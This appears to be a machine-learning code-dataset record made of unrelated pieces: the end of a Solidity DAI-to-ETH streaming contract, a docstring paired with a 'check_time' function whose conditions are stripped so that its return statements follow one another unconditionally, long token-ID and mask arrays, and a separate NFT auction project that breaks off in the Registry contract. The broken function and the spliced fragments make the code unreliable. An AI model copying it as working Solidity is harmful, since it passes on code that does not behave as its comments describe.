// if the user was never created
return uint(-1);
} else if (dai.balanceOf(_user) > s.parcel && dai.allowance(_user, address(this)) > s.parcel && s.isactive == 1) {
// if the balance is enough and we have enough allowance to make the swap, return 1
return 1;
} else {
// if not, return 0
return 0;
}
}
// check that the gas price that we are planning to use doesn't exceed 3% of the ethereum received
// NOTE: this function needs to return 1 for the transaction to be possible
function check_gas_price(address payable _user, uint _gasPrice) public view returns(uint){
Stream storage s = streams[_user];
uint256 eth_bought = IUniswapExchange(0x2a1530C4C41db0B0b2bB646CB5Eb1A67b7158667).getTokenToEthInputPrice(s.parcel);
if (_gasPrice * gas_consumption < eth_bought * 3 / 100){
// the gas price that the relayer plans to adopt is ok
return 1;
} else {
// the gas price that the relayer plans to adopt is too high
return 0;
}
}
// check what relayer is currently allowed to execute the transaction
// NOTE: this function needs to return your address for you to be allowed as a relayer to execute the transaction and obtain the fee
function check_allowed_relayer(address payable _user) public view returns(address){
Stream storage s = streams[_user];
if (now < s.lastSwap + s.interval){
return 0x0000000000000000000000000000000000000000;
} else if (s.lastSwap == 0){
uint multiple = (now - s.startTime) / (240 * relayersCount);
uint relayer_allowed_index = ((now - s.startTime) - multiple * (240 * relayersCount)) / 240;
return relayers[relayer_allowed_index];
} else {
uint multiple = (now - s.lastSwap - s.interval) / (240 * relayersCount);
uint relayer_allowed_index = ((now - s.lastSwap - s.interval) - multiple * (240 * relayersCount)) / 240;
return relayers[relayer_allowed_index];
}
}
// scan through the all_users list and obtain the address of each user
function scanUsers(uint _index) public view returns(address){
return all_users[_index];
}
// Include fallback so the contract can receive ETH from exchange
function () external payable {}
} | check that is the right time to trigger a swap for a certain user NOTE: this function needs to return 0 for the transaction to be possible if the user was never created if the user was created, but it's not yet time to make a swap, return the remaining time in seconds if the timing is good to make the swap, return 0 | function check_time(address payable _user) public view returns(uint){
Stream storage s = streams[_user];
if (s.created == 0) {
return uint(-1);
return s.lastSwap + s.interval - now;
return 0;
}
}
| 7,286,322 | [
1,
1893,
716,
353,
326,
2145,
813,
358,
3080,
279,
7720,
364,
279,
8626,
729,
5219,
30,
333,
445,
4260,
358,
327,
374,
364,
326,
2492,
358,
506,
3323,
309,
326,
729,
1703,
5903,
2522,
309,
326,
729,
1703,
2522,
16,
1496,
518,
1807,
486,
4671,
813,
358,
1221,
279,
7720,
16,
327,
326,
4463,
813,
316,
3974,
309,
326,
15538,
353,
7494,
358,
1221,
326,
7720,
16,
327,
374,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
866,
67,
957,
12,
2867,
8843,
429,
389,
1355,
13,
1071,
1476,
1135,
12,
11890,
15329,
203,
3639,
3961,
2502,
272,
273,
8205,
63,
67,
1355,
15533,
203,
3639,
309,
261,
87,
18,
4824,
422,
374,
13,
288,
7010,
5411,
327,
2254,
19236,
21,
1769,
203,
2398,
203,
5411,
327,
272,
18,
2722,
12521,
397,
272,
18,
6624,
300,
2037,
31,
7010,
2398,
203,
5411,
327,
374,
31,
21281,
3639,
289,
203,
565,
289,
203,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
//SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
import "./NftBase.sol";
import "../auctions/IHub.sol";
import "../registry/Registry.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
contract OpenNFT is NftBase, Ownable {
using SafeMath for uint256;
// -----------------------------------------------------------------------
// STATE
// -----------------------------------------------------------------------
// Storage for the registry
Registry internal registryInstance_;
// Storage for minter role
struct Minter {
bool isMinter; // Is this address a minter
bool isActive; // Is this address an active minter
bool isDuplicateBatchMinter; // Is this address able to batch mint duplicates
}
// Storage for minters
mapping(address => Minter) internal minters_;
// -----------------------------------------------------------------------
// EVENTS
// -----------------------------------------------------------------------
event MinterUpdated(
address minter,
bool isDuplicateMinter,
bool isMinter,
bool isActiveMinter,
string userIdentifier
);
event NewTokensMinted(
uint256[] tokenIDs, // ID(s) of token(s).
uint256 batchID, // ID of batch. 0 if not batch
address indexed creator, // Address of the royalties receiver
address indexed minter, // Address that minted the tokens
address indexed receiver, // Address receiving token(s)
string identifier, // Content ID within the location
string location, // Where it is stored i.e IPFS, Arweave
string contentHash // Checksum hash of the content
);
event NewTokenMinted(
// uint256 batchTokenID == 0
uint256 tokenID,
address indexed minter,
address indexed creator,
address indexed receiver
);
event NewBatchTokenMint(
// uint256 batchTokenID
uint256[] tokenIDs,
address indexed minter,
address indexed creator,
address indexed receiver
);
// -----------------------------------------------------------------------
// MODIFIERS
// -----------------------------------------------------------------------
modifier onlyMinter() {
require(
minters_[msg.sender].isMinter && minters_[msg.sender].isActive,
"Not active minter"
);
_;
}
modifier onlyBatchDuplicateMinter() {
require(
minters_[msg.sender].isDuplicateBatchMinter,
"Not active batch copy minter"
);
_;
}
modifier onlyAuctions() {
IHub auctionHubInstance_ = IHub(registryInstance_.getHub());
uint256 auctionID = auctionHubInstance_.getAuctionID(msg.sender);
require(
msg.sender == address(auctionHubInstance_) ||
auctionHubInstance_.isAuctionActive(auctionID),
"NFT: Not hub or auction"
);
_;
}
// -----------------------------------------------------------------------
// CONSTRUCTOR
// -----------------------------------------------------------------------
constructor(string memory name,
string memory symbol) NftBase(name, symbol) Ownable() {
}
// -----------------------------------------------------------------------
// NON-MODIFYING FUNCTIONS (VIEW)
// -----------------------------------------------------------------------
/**
* @param _minter Address of the minter being checked
* @return isMinter If the minter has the minter role
* @return isActiveMinter If the minter is an active minter
*/
function isMinter(address _minter)
external
view
returns (bool isMinter, bool isActiveMinter)
{
isMinter = minters_[_minter].isMinter;
isActiveMinter = minters_[_minter].isActive;
}
function isActive() external view returns (bool) {
return true;
}
function isTokenBatch(uint256 _tokenID) external view returns (uint256) {
return isBatchToken_[_tokenID];
}
function getBatchInfo(uint256 _batchID)
external
view
returns (
uint256 baseTokenID,
uint256[] memory tokenIDs,
bool limitedStock,
uint256 totalMinted
)
{
baseTokenID = batchTokens_[_batchID].baseToken;
tokenIDs = batchTokens_[_batchID].tokenIDs;
limitedStock = batchTokens_[_batchID].limitedStock;
totalMinted = batchTokens_[_batchID].totalMinted;
}
// -----------------------------------------------------------------------
// ONLY AUCTIONS (hub or spokes) STATE MODIFYING FUNCTIONS
// -----------------------------------------------------------------------
/**
* @param _to Address of receiver
* @param _tokenID Token to transfer
* @notice Only auctions (hub or spokes) will be able to transfer tokens.
* Will revert if to address is the 0x address. Will revert if the
* msg.sender is not the token owner. Will revert if msg.sender is
* to to address
*/
function transfer(address _to, uint256 _tokenID) external {
_transfer(_to, _tokenID);
}
/**
* @param _to Address to transfer to
* @param _tokenIDs Array of tokens being transferred
* @notice Only auctions (hub or spokes) will be able to transfer tokens.
* Will revert if to address is the 0x address. Will revert if the
* msg.sender is not the token owner. Will revert if msg.sender is
* to to address
*/
function batchTransfer(address _to, uint256[] memory _tokenIDs)
external
onlyAuctions()
{
_batchTransfer(_to, _tokenIDs);
}
/**
* @param from Address being transferee from
* @param to Address to transfer to
* @param tokenId ID of token being transferred
* @notice Only auctions (hub or spokes) will be able to transfer tokens.
* Will revert if to address is the 0x address. Will revert if
* msg.sender is not approved spender of token on _from address.
* Will revert if the _from is not the token owner. Will revert if
* _from is _to address.
*/
function transferFrom(
address from, address to, uint256 tokenId
) public override {
_transferFrom(from, to, tokenId);
}
/**
* @param _from Address being transferee from
* @param _to Address to transfer to
* @param _tokenIDs Array of tokens being transferred
* @notice Only auctions (hub or spokes) will be able to transfer tokens.
* Will revert if to address is the 0x address. Will revert if
* msg.sender is not approved spender of token on _from address.
* Will revert if the _from is not the token owner. Will revert if
* _from is _to address.
*/
function batchTransferFrom(
address _from,
address _to,
uint256[] memory _tokenIDs
) external onlyAuctions() {
_batchTransferFrom(_from, _to, _tokenIDs);
}
// -----------------------------------------------------------------------
// ONLY MINTER STATE MODIFYING FUNCTIONS
// -----------------------------------------------------------------------
/**
* @param _tokenCreator Address of the creator. Address will receive the
* royalties from sales of the NFT
* @param _mintTo The address that should receive the token. Note that on
* the initial sale this address will not receive the sale
* collateral. Sale collateral will be distributed to creator and
* system fees
* @notice Only valid active minters will be able to mint new tokens
*/
function mint(
address _tokenCreator,
address _mintTo,
string calldata identifier,
string calldata location,
string calldata contentHash
) external onlyMinter() returns (uint256) {
require(_isValidCreator(_tokenCreator), "NFT: Invalid creator");
// Minting token
uint256 tokenID = _mint(_mintTo, _tokenCreator, location);
// Creating temp array for token ID
uint256[] memory tempTokenIDs = new uint256[](1);
tempTokenIDs[0] = tokenID;
{
// Emitting event
emit NewTokensMinted(
tempTokenIDs,
0,
_tokenCreator,
msg.sender,
_mintTo,
identifier,
location,
contentHash
);
}
return tokenID;
}
/**
* @param _mintTo The address that should receive the token. Note that on
* the initial sale this address will not receive the sale
* collateral. Sale collateral will be distributed to creator and
* system fees
* @param _amount Amount of tokens to mint
* @param _baseTokenID ID of the token being duplicated
* @param _isLimitedStock Bool for if the batch has a pre-set limit
*/
function batchDuplicateMint(
address _mintTo,
uint256 _amount,
uint256 _baseTokenID,
bool _isLimitedStock
) external onlyBatchDuplicateMinter() returns (uint256[] memory) {
require(
tokens_[_baseTokenID].creator != address(0),
"Mint token before batch"
);
uint256 originalBatchID = isBatchToken_[_baseTokenID];
uint256 batch;
// Minting tokens
uint256[] memory tokenIDs;
(tokenIDs, batch) = _batchMint(
_mintTo,
tokens_[_baseTokenID].creator,
_amount,
_baseTokenID,
originalBatchID
);
// If this is the first batch mint of the base token
if (originalBatchID == 0) {
// Storing batch against base token
isBatchToken_[_baseTokenID] = batch;
// Storing all info as a new object
batchTokens_[batch] = BatchTokens(
_baseTokenID,
tokenIDs,
_isLimitedStock,
_amount
);
} else {
batch = isBatchToken_[_baseTokenID];
batchTokens_[batch].totalMinted += _amount;
}
// Wrapping for the stack
{
// Emitting event
emit NewTokensMinted(
tokenIDs,
batch,
tokens_[_baseTokenID].creator,
msg.sender,
_mintTo,
"",
"",
""
);
}
return tokenIDs;
}
// -----------------------------------------------------------------------
// ONLY OWNER STATE MODIFYING FUNCTIONS
// -----------------------------------------------------------------------
/**
* @param _minter Address of the minter
* @param _hasMinterPermissions If the address has minter permissions. If
* false user will not be able to mint, nor will they be able to be
* set as the creator of a token
* @param _isActiveMinter If the minter is an active minter. If they do
* not have minter permissions they will not be able to be assigned
* as the creator of a token
*/
function updateMinter(
address _minter,
bool _hasMinterPermissions,
bool _isActiveMinter,
string calldata _userIdentifier
) external onlyOwner() {
minters_[_minter].isMinter = _hasMinterPermissions;
minters_[_minter].isActive = _isActiveMinter;
emit MinterUpdated(
_minter,
false,
_hasMinterPermissions,
_isActiveMinter,
_userIdentifier
);
}
function setDuplicateMinter(address _minter, bool _isDuplicateMinter)
external
onlyOwner()
{
minters_[_minter].isDuplicateBatchMinter = _isDuplicateMinter;
minters_[_minter].isMinter = _isDuplicateMinter;
minters_[_minter].isActive = _isDuplicateMinter;
emit MinterUpdated(
_minter,
_isDuplicateMinter,
_isDuplicateMinter,
_isDuplicateMinter,
"Auction"
);
}
function setRegistry(address _registry) external onlyOwner() {
require(_registry != address(0), "NFT: cannot set REG to 0x");
require(
address(registryInstance_) != _registry,
"NFT: Cannot set REG to existing"
);
registryInstance_ = Registry(_registry);
require(registryInstance_.isActive(), "NFT: REG instance invalid");
}
fallback() external payable {
revert();
}
// -----------------------------------------------------------------------
// INTERNAL STATE MODIFYING FUNCTIONS
// -----------------------------------------------------------------------
/**
* @param _creator Address to check
* @return bool If the address to check is a valid creator
* @notice Will return true if the user is a minter, or is an active minter
*/
function _isValidCreator(address _creator) internal view returns (bool) {
if (minters_[_creator].isMinter) {
return true;
} else if (minters_[_creator].isMinter && minters_[_creator].isActive) {
return true;
}
return false;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/introspection/ERC165.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Metadata.sol";
contract NftBase is ERC165, IERC721,IERC721Metadata {
// Libraries
using SafeMath for uint256;
// -----------------------------------------------------------------------
// STATE
// -----------------------------------------------------------------------
// Counter for minted tokens
uint256 private totalMinted_;
// Accurate count of circulating supply (decremented on burns)
uint256 private circulatingSupply_;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
struct TokenInfo{
address creator;
address currentOwner;
string uri;
}
string _name;
string _symbol;
// token ID => Owner
mapping(uint256 => TokenInfo) internal tokens_;
// Owner => Token IDs => is owner
mapping(address => mapping(uint256 => bool)) internal owners_;
// Owner => tokens owned counter
mapping(address => uint256) internal ownerBalances_;
// Approvals for token spending | owner => spender => token ID => approved
mapping(address => mapping(address => mapping (uint256 => bool))) internal approvals_;
// Counter for batch mints
uint256 internal batchMintCounter_;
// Storage for batch minted tokens (where they are duplicates)
struct BatchTokens {
uint256 baseToken;
uint256[] tokenIDs;
bool limitedStock;
uint256 totalMinted;
}
// Storage of Batch IDs to their batch tokens
mapping(uint256 => BatchTokens) internal batchTokens_;
// Token ID => their batch number. 0 if they are not batch tokens
mapping(uint256 => uint256) internal isBatchToken_;
// -----------------------------------------------------------------------
// EVENTS
// -----------------------------------------------------------------------
event ApprovalSet(
address owner,
address spender,
uint256 tokenID,
bool approval
);
event BatchTransfer(
address from,
address to,
uint256[] tokenIDs
);
// -----------------------------------------------------------------------
// CONSTRUCTOR
// -----------------------------------------------------------------------
constructor(string memory name,
string memory symbol) {
_name = name;
_symbol = symbol;
}
// -----------------------------------------------------------------------
// NON-MODIFYING FUNCTIONS (VIEW)
// -----------------------------------------------------------------------
/**
* @param _tokenID The ID of the token
* @return address of the owner for this token
*/
function ownerOf(uint256 _tokenID) public override view returns(address) {
return tokens_[_tokenID].currentOwner;
}
/**
* @param _tokenID The ID of the token
* @return address of the creator of the token
*/
function creatorOf(uint256 _tokenID) external view returns(address) {
return tokens_[_tokenID].creator;
}
/**
* @param _owner The address of the address to check
* @return uint256 The number of tokens the user owns
*/
function balanceOf(address _owner) public override view returns(uint256) {
return ownerBalances_[_owner];
}
/**
* @return uint256 The total number of circulating tokens
*/
function totalSupply() public view returns(uint256) {
return circulatingSupply_;
}
/**
* @return uint256 The total number of unique tokens minted
*/
function totalMintedTokens() external view returns(uint256) {
return totalMinted_;
}
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @param _owner Address of the owner
* @param _spender The address of the spender
* @param _tokenID ID of the token to check
* @return bool The approved status of the spender against the owner
*/
function isApprovedSpenderOf(
address _owner,
address _spender,
uint256 _tokenID
)
external
view
returns(bool)
{
return approvals_[_owner][_spender][_tokenID];
}
/**
* @param _tokenId ID of the token to get the URI of
* @return string the token URI
*/
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
return tokens_[_tokenId].uri;
}
// -----------------------------------------------------------------------
// PUBLIC STATE MODIFYING FUNCTIONS
// -----------------------------------------------------------------------
/**
* @param _spender The address of the spender
* @param _tokenID ID of the token to check
* @param _approvalSpender The status of the spenders approval on the
* owner
* @notice Will revert if msg.sender is the spender or if the msg.sender
* is not the owner of the token.
*/
function approveSpender(
address _spender,
uint256 _tokenID,
bool _approvalSpender
)
external
{
require(
msg.sender != _spender,
"NFT: cannot approve self"
);
require(
tokens_[_tokenID].currentOwner == msg.sender,
"NFT: Only owner can approve"
);
// Set approval status
approvals_[msg.sender][_spender][_tokenID] = _approvalSpender;
emit ApprovalSet(
msg.sender,
_spender,
_tokenID,
_approvalSpender
);
}
// -----------------------------------------------------------------------
// ERC721 Functions
// -----------------------------------------------------------------------
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function transferFrom(address from, address to, uint256 tokenId) virtual external override {
_transferFrom(from, to, tokenId);
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
msg.sender == owner || isApprovedForAll(owner, msg.sender),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
emit Approval(owner, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
function safeTransferFrom(address from, address to, uint256 tokenId) virtual external override{
_transferFrom(from, to, tokenId);
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) virtual external override{
_transferFrom(from, to, tokenId);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool _approved) virtual external override{
require(operator != msg.sender, "ERC721: approve to caller");
_operatorApprovals[msg.sender][operator] = _approved;
emit ApprovalForAll(msg.sender, operator, _approved);
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
// -----------------------------------------------------------------------
// INTERNAL STATE MODIFYING FUNCTIONS
// -----------------------------------------------------------------------
/**
* @param _oldOwner Address of the old owner losing the token
* @param _newOwner Address of the new owner gaining the token
* @param _tokenID ID of the token getting transferred
*/
function _changeOwner(
address _oldOwner,
address _newOwner,
uint256 _tokenID
)
internal
{
// Changing the tokens owner to the new owner
tokens_[_tokenID].currentOwner = _newOwner;
// Removing the token from the old owner
owners_[_oldOwner][_tokenID] = false;
// Reducing the old owners token count
ownerBalances_[_oldOwner] = ownerBalances_[_oldOwner].sub(1);
// Adding the token to the new owner
owners_[_newOwner][_tokenID] = true;
// Increasing the new owners token count
ownerBalances_[_newOwner] = ownerBalances_[_newOwner].add(1);
}
/**
* @param _to Address to transfer to
* @param _tokenID Token being transferred
* @notice Will revert if to address is the 0x address. Will revert if the
* msg.sender is not the token owner. Will revert if msg.sender is
* to to address
*/
function _transfer(
address _to,
uint256 _tokenID
)
internal
{
require(_to != address(0), "NFT: Cannot send to zero address");
require(
tokens_[_tokenID].currentOwner == msg.sender,
"NFT: Only owner can transfer"
);
require(
_to != msg.sender,
"NFT: Cannot transfer to self"
);
// Updating storage to reflect transfer
_changeOwner(
msg.sender,
_to,
_tokenID
);
emit Transfer(
msg.sender,
_to,
_tokenID
);
}
/**
* @param _to Address to transfer to
* @param _tokenIDs Array of tokens being transferred
* @notice Will revert if to address is the 0x address. Will revert if the
* msg.sender is not the token owner. Will revert if msg.sender is
* to to address
*/
function _batchTransfer(
address _to,
uint256[] memory _tokenIDs
)
internal
{
require(_to != address(0), "NFT: Cannot send to zero address");
require(
_to != msg.sender,
"NFT: Cannot transfer to self"
);
for (uint256 i = 0; i < _tokenIDs.length; i++) {
require(
tokens_[_tokenIDs[i]].currentOwner == msg.sender,
"NFT: Only owner can transfer"
);
// Updating storage to reflect transfer
_changeOwner(
msg.sender,
_to,
_tokenIDs[i]
);
}
emit BatchTransfer(
msg.sender,
_to,
_tokenIDs
);
}
/**
* @param _from Address being transferee from
* @param _to Address to transfer to
* @param _tokenID ID of token being transferred
* @notice Will revert if to address is the 0x address. Will revert if
* msg.sender is not approved spender of token on _from address.
* Will revert if the _from is not the token owner. Will revert if
* _from is _to address.
*/
function _transferFrom(
address _from,
address _to,
uint256 _tokenID
)
internal
{
require(_to != address(0), "NFT: Cannot send to zero address");
require(
approvals_[_from][msg.sender][_tokenID],
"NFT: Caller not approved"
);
require(
tokens_[_tokenID].currentOwner == _from,
"NFT: From is not token owner"
);
require(
_to != _from,
"NFT: Cannot transfer to self"
);
// Removing spender as approved spender of token on owner
approvals_[_from][msg.sender][_tokenID] = false;
// Updating storage to reflect transfer
_changeOwner(
_from,
_to,
_tokenID
);
emit Transfer(
_from,
_to,
_tokenID
);
}
/**
* @param _from Address being transferee from
* @param _to Address to transfer to
* @param _tokenIDs Array of tokens being transferred
* @notice Will revert if to address is the 0x address. Will revert if
* msg.sender is not approved spender of token on _from address.
* Will revert if the _from is not the token owner. Will revert if
* _from is _to address.
*/
function _batchTransferFrom(
address _from,
address _to,
uint256[] memory _tokenIDs
)
internal
{
require(_to != address(0), "NFT: Cannot send to zero address");
require(
_to != _from,
"NFT: Cannot transfer to self"
);
for (uint256 i = 0; i < _tokenIDs.length; i++) {
require(
approvals_[_from][msg.sender][_tokenIDs[i]],
"NFT: Caller not approved"
);
// Removing spender as approved spender of token on owner
approvals_[_from][msg.sender][_tokenIDs[i]] = false;
require(
tokens_[_tokenIDs[i]].currentOwner == _from,
"NFT: From is not token owner"
);
// Updating storage to reflect transfer
_changeOwner(
_from,
_to,
_tokenIDs[i]
);
}
emit BatchTransfer(
_from,
_to,
_tokenIDs
);
}
/**
* @param _owner Address of the owner of the newly created token
* @param _tokenID Token ID of the new token created
*/
function _createToken(
address _owner,
address _creator,
uint256 _tokenID,
string memory _uri
)
internal
{
// Setting the creator
tokens_[_tokenID].creator = _creator;
// Adding the tokens owner
tokens_[_tokenID].currentOwner = _owner;
// Adding the URI for the token
tokens_[_tokenID].uri = _uri;
// Adding the token to the owner
owners_[_owner][_tokenID] = true;
// Increasing the owners token count
ownerBalances_[_owner] = ownerBalances_[_owner].add(1);
}
/**
* @param _to Address receiving the newly minted token
* @return uint256 The ID of the new token created
* @notice Will revert if _to is the 0x address
*/
function _mint(address _to, address _creator, string memory _uri) internal returns(uint256) {
require(_to != address(0), "NFT: Cannot mint to zero address");
// Incrementing token trackers
totalMinted_ = totalMinted_.add(1);
circulatingSupply_ = circulatingSupply_.add(1);
uint256 tokenID = totalMinted_;
// Updating the state with the new token
_createToken(
_to,
_creator,
tokenID,
_uri
);
emit Transfer(
address(0),
_to,
tokenID
);
return tokenID;
}
/**
* @param _to Address receiving the newly minted tokens
* @param _amount The amount of tokens to mint
* @return uint256[] The IDs of the new tokens created
* @notice Will revert if _to is the 0x address
*/
function _batchMint(
address _to,
address _creator,
uint256 _amount,
uint256 _originalTokenID,
uint256 _batchID
)
internal
returns(uint256[] memory, uint256)
{
require(_to != address(0), "NFT: Cannot mint to zero address");
uint256[] memory tokenIDs = new uint256[](_amount);
string memory uri = this.tokenURI(_originalTokenID);
uint256 batch;
if(_batchID == 0) {
batchMintCounter_ += 1;
batch = batchMintCounter_;
}
for (uint256 i = 0; i < _amount; i++) {
_mint(_to, _creator, uri);
tokenIDs[i] = totalMinted_;
batchTokens_[batch].tokenIDs.push(totalMinted_);
}
emit BatchTransfer(
address(0),
_to,
tokenIDs
);
return (tokenIDs, batch);
}
/**
* @param _owner Address of the owner
* @param _tokenID Token ID of the token being destroyed
*/
function _destroyToken(
address _owner,
uint256 _tokenID
)
internal
{
// Reducing circulating supply.
circulatingSupply_ = circulatingSupply_.sub(1);
// Removing the tokens owner
tokens_[_tokenID].currentOwner = address(0);
// Remove the tokens creator
tokens_[_tokenID].creator = address(0);
// Removing the token from the owner
owners_[_owner][_tokenID] = false;
// Decreasing the owners token count
ownerBalances_[_owner] = ownerBalances_[_owner].sub(1);
}
/**
* @param _from Address that was the last owner of the token
* @param _tokenID Token ID of the token being burnt
*/
function _burn(address _from, uint256 _tokenID) internal {
require(_from != address(0), "NFT: Cannot burn from zero address");
_destroyToken(
_from,
_tokenID
);
emit Transfer(
_from,
address(0),
_tokenID
);
}
/**
* @param _from Address that was the last owner of the token
* @param _tokenIDs Array of the token IDs being burnt
*/
function _batchBurn(address _from, uint256[] memory _tokenIDs) internal {
require(_from != address(0), "NFT: Cannot burn from zero address");
for (uint256 i = 0; i < _tokenIDs.length; i++) {
_destroyToken(
_from,
_tokenIDs[i]
);
}
emit BatchTransfer(
_from,
address(0),
_tokenIDs
);
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return tokens_[tokenId].currentOwner != address(0);
}
}
//SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
interface IHub {
enum LotStatus {
NO_LOT,
LOT_REQUESTED,
LOT_CREATED,
AUCTION_ACTIVE,
AUCTION_RESOLVED,
AUCTION_RESOLVED_AND_CLAIMED,
AUCTION_CANCELED
}
// -----------------------------------------------------------------------
// NON-MODIFYING FUNCTIONS (VIEW)
// -----------------------------------------------------------------------
function getLotInformation(uint256 _lotID)
external
view
returns (
address owner,
uint256 tokenID,
uint256 auctionID,
LotStatus status
);
function getAuctionInformation(uint256 _auctionID)
external
view
returns (
bool active,
string memory auctionName,
address auctionContract,
bool onlyPrimarySales
);
function getAuctionID(address _auction) external view returns (uint256);
function isAuctionActive(uint256 _auctionID) external view returns (bool);
function getAuctionCount() external view returns (uint256);
function isAuctionHubImplementation() external view returns (bool);
function isFirstSale(uint256 _tokenID) external view returns (bool);
function getFirstSaleSplit()
external
view
returns (uint256 creatorSplit, uint256 systemSplit);
function getSecondarySaleSplits()
external
view
returns (
uint256 creatorSplit,
uint256 sellerSplit,
uint256 systemSplit
);
function getScalingFactor() external view returns (uint256);
// -----------------------------------------------------------------------
// PUBLIC STATE MODIFYING FUNCTIONS
// -----------------------------------------------------------------------
function requestAuctionLot(uint256 _auctionType, uint256 _tokenID)
external
returns (uint256 lotID);
// -----------------------------------------------------------------------
// ONLY AUCTIONS STATE MODIFYING FUNCTIONS
// -----------------------------------------------------------------------
function firstSaleCompleted(uint256 _tokenID) external;
function lotCreated(uint256 _auctionID, uint256 _lotID) external;
function lotAuctionStarted(uint256 _auctionID, uint256 _lotID) external;
function lotAuctionCompleted(uint256 _auctionID, uint256 _lotID) external;
function lotAuctionCompletedAndClaimed(uint256 _auctionID, uint256 _lotID)
external;
function cancelLot(uint256 _auctionID, uint256 _lotID) external;
// -----------------------------------------------------------------------
// ONLY REGISTRY STATE MODIFYING FUNCTIONS
// -----------------------------------------------------------------------
function init() external returns (bool);
}
//SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
// Registry managed contracts
import "../auctions/IHub.sol";
import "../royalties/IRoyalties.sol";
import "../nft/INft.sol";
contract Registry is Ownable, ReentrancyGuard {
// -----------------------------------------------------------------------
// STATE
// -----------------------------------------------------------------------
// Storage of current hub instance
IHub internal hubInstance_;
// Storage of current royalties instance
IRoyalties internal royaltiesInstance_;
// Storage of NFT contract (cannot be changed)
INft internal nftInstance_;
// -----------------------------------------------------------------------
// CONSTRUCTOR
// -----------------------------------------------------------------------
constructor(address _nft) Ownable() {
require(INft(_nft).isActive(), "REG: Address invalid NFT");
nftInstance_ = INft(_nft);
}
// -----------------------------------------------------------------------
